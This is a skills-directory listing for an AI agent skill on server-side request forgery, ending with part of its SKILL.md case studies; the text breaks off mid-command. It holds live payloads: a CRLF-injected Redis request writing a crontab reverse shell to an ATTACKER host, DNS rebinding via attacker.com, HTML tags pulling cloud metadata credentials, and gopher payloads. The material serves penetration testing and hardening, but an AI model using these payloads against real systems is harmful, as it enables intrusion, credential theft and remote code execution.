Ssrf Server Side Request Forgery
Learn SSRF attack chains, bypasses, and real CVE patterns to test URL-fetch features and harden backends before ship.
Overview
ssrf-server-side-request-forgery is an agent skill most often used in Ship (also Operate security review) that teaches SSRF exploitation scenarios, bypasses, and chaining for server-side URL fetch features.
Install
npx skills add https://github.com/yaklang/hack-skills --skill ssrf-server-side-request-forgeryWhat is this skill?
- WebLogic UDDI SSRF operator-parameter case study (CVE-2014-4210)
- SSRF → internal Redis → RCE chain via CRLF-injected Redis commands
- Internal port-scan behavior differentiation via error and timing
- DNS rebinding walkthrough for filter bypass after allowlist checks
- CVE-2014-4210 WebLogic SSRF case study
- 6379 internal Redis pivot scenario in chain documentation
Adoption & trust: 1.2k installs on skills.sh; 980 GitHub stars; 1/3 security scanners passed (skills.sh audits).
What problem does it solve?
Your API fetches user-supplied URLs and you lack a structured map of SSRF bypasses and real-world chains to test against.
Who is it for?
Builders shipping SaaS with PDF/URL preview, webhooks, or import-from-URL who need offensive context for their own staging environment.
Skip if: Production attacking third-party systems without authorization; use only on apps and environments you own or have explicit pentest scope for.
When should I use this skill?
Reviewing or pentesting server-side URL retrieval, webhooks, or proxy features for SSRF risk.
What do I get? / Deliverables
You get repeatable test ideas—internal scan signatures, Redis pivot patterns, DNS rebinding—that inform fixes and monitoring before attackers abuse the same paths.
- SSRF test checklist derived from case studies
- Documented bypass vectors relevant to your fetch implementation
Recommended Skills
Journey fit
Spans multiple journey phases - primary shelf plus alternate fits below.
SSRF testing belongs on the security shelf because misuse of server-side HTTP clients is validated before production exposure. Canonical placement is offensive/defensive app security review of fetch-proxy and webhook endpoints, not general debugging.
Where it fits
Run SSRF test cases against a new 'import from URL' feature in staging before public launch.
Re-audit an internal dashboard proxy after adding cloud metadata endpoints to the blocklist.
Design outbound HTTP with strict egress rules after reviewing Redis pivot chains in the extended doc.
How it compares
Extended case-study companion to a core SSRF methodology skill—not a WAF product or automated scanner.
Common Questions / FAQ
Who is ssrf-server-side-request-forgery for?
Solo developers and small teams responsible for API security who need concrete SSRF scenarios beyond generic OWASP checklists.
When should I use ssrf-server-side-request-forgery?
In Ship (security) before launch when adding URL fetchers; in Operate (iterate) when reviewing new admin tools; in Build (integrations) when designing outbound HTTP from the backend.
Is ssrf-server-side-request-forgery safe to install?
Content is offensive-security education—review the Security Audits panel on this page and never run payloads against systems outside your scope.
SKILL.md
READMESKILL.md - Ssrf Server Side Request Forgery
# SSRF — Extended Scenarios & Real-World Cases > Companion to [SKILL.md](./SKILL.md). Contains additional CVE case studies, advanced bypass techniques, and chaining scenarios. --- ## 1. CVE Case: WebLogic SSRF (CVE-2014-4210) WebLogic's UDDI Explorer component exposes SSRF via the `operator` parameter: ``` GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:7001&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search ``` **Exploitation chain — SSRF → Redis → RCE**: ```bash # Step 1: Port scan internal network via SSRF # Open port: fast response / "could not connect" error # Closed port: timeout / different error # Step 2: Hit internal Redis (6379) via SSRF with crafted payload operator=http://INTERNAL_REDIS_IP:6379/test%0D%0A%0D%0Aset%201%20%22%0A%0A%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FATTACKER%2F4444%200%3E%261%0A%0A%22%0D%0Aconfig%20set%20dir%20%2Fvar%2Fspool%2Fcron%2F%0D%0Aconfig%20set%20dbfilename%20root%0D%0Asave%0D%0A # URL-decoded: sends Redis commands via CRLF injection in HTTP request # Writes crontab reverse shell ``` --- ## 2. DNS Rebinding — Deep Dive DNS rebinding exploits the gap between DNS resolution and actual request: ``` Step 1: Victim server resolves attacker.com → gets 1.2.3.4 (legitimate IP) Step 2: Server validates: "1.2.3.4 is not internal → allowed" Step 3: DNS TTL expires (or attacker uses TTL=0) Step 4: Server makes actual request → resolves attacker.com again → gets 169.254.169.254 Step 5: Request goes to metadata endpoint → SSRF achieved ``` ### Tools and Services ```text # rbndr.us — automatic DNS rebinding service: # Responds with IP A first, IP B second http://7f000001.a]1b3c4d5.rbndr.us/ # Returns 127.0.0.1 and 1.2.3.4 alternately # singularity — DNS rebinding attack framework: # https://github.com/nccgroup/singularity # Custom NS: set up authoritative DNS with TTL=0 and rotating A records ``` ### Bypass Scenarios | Defense | DNS Rebinding Bypass | |---|---| | IP blacklist check at DNS resolution time | TTL=0: resolution returns safe IP → passes check → re-resolve returns internal IP | | Single DNS lookup cached | Use race condition: parallel requests, one resolves to external, other to internal | | Application pins DNS result | Not all HTTP libraries pin; some re-resolve on redirect | --- ## 3. CVE Case: Kubernetes SSRF (CVE-2020-8555 / CVE-2020-8562) **CVE-2020-8555**: Kubernetes kube-controller-manager's volume handling allows SSRF when creating StorageClass with `glusterfs` or `quobyte` provisioners. The controller makes HTTP requests to attacker-controlled endpoints. **CVE-2020-8562** (bypass of the fix): The fix blocked direct internal IP access but could be bypassed via DNS rebinding — attacker's DNS resolves to external IP during validation, then to internal IP during actual request. --- ## 4. SSRF Through PDF/Screenshot Generators Applications that generate PDFs from HTML or take screenshots of URLs are high-value SSRF targets: ```html <!-- If HTML input is rendered to PDF: --> <iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe> <img src="http://internal-service:8080/admin"> <link rel="stylesheet" href="http://169.254.169.254/latest/user-data"> ``` **Common tools**: wkhtmltopdf, Chrome headless, Puppeteer, PhantomJS — all follow redirects and may access internal network. --- ## 5. SSRF + Gopher Protocol — Full TCP Injection Gopher protocol allows sending arbitrary TCP data. Combined with SSRF, it enables interaction with any TCP service: ```text # SMTP — send email: gopher://127.0.0.1:25/_EHLO%20attacker%0D%0AMAIL%20FROM:... # MySQL — execute query (no password): gopher://127.0.0.1:3306/_[MYSQL_PACKET] # FastCGI/PHP-FPM — execute PHP: gopher://127.0.0.1:9000/_[FASTCGI_PACKET] # Tool: Gopherus generates gopher payloads for various services: python3 gopherus.py --exploit mysql python3 gopherus.py --exploit fastcgi pyt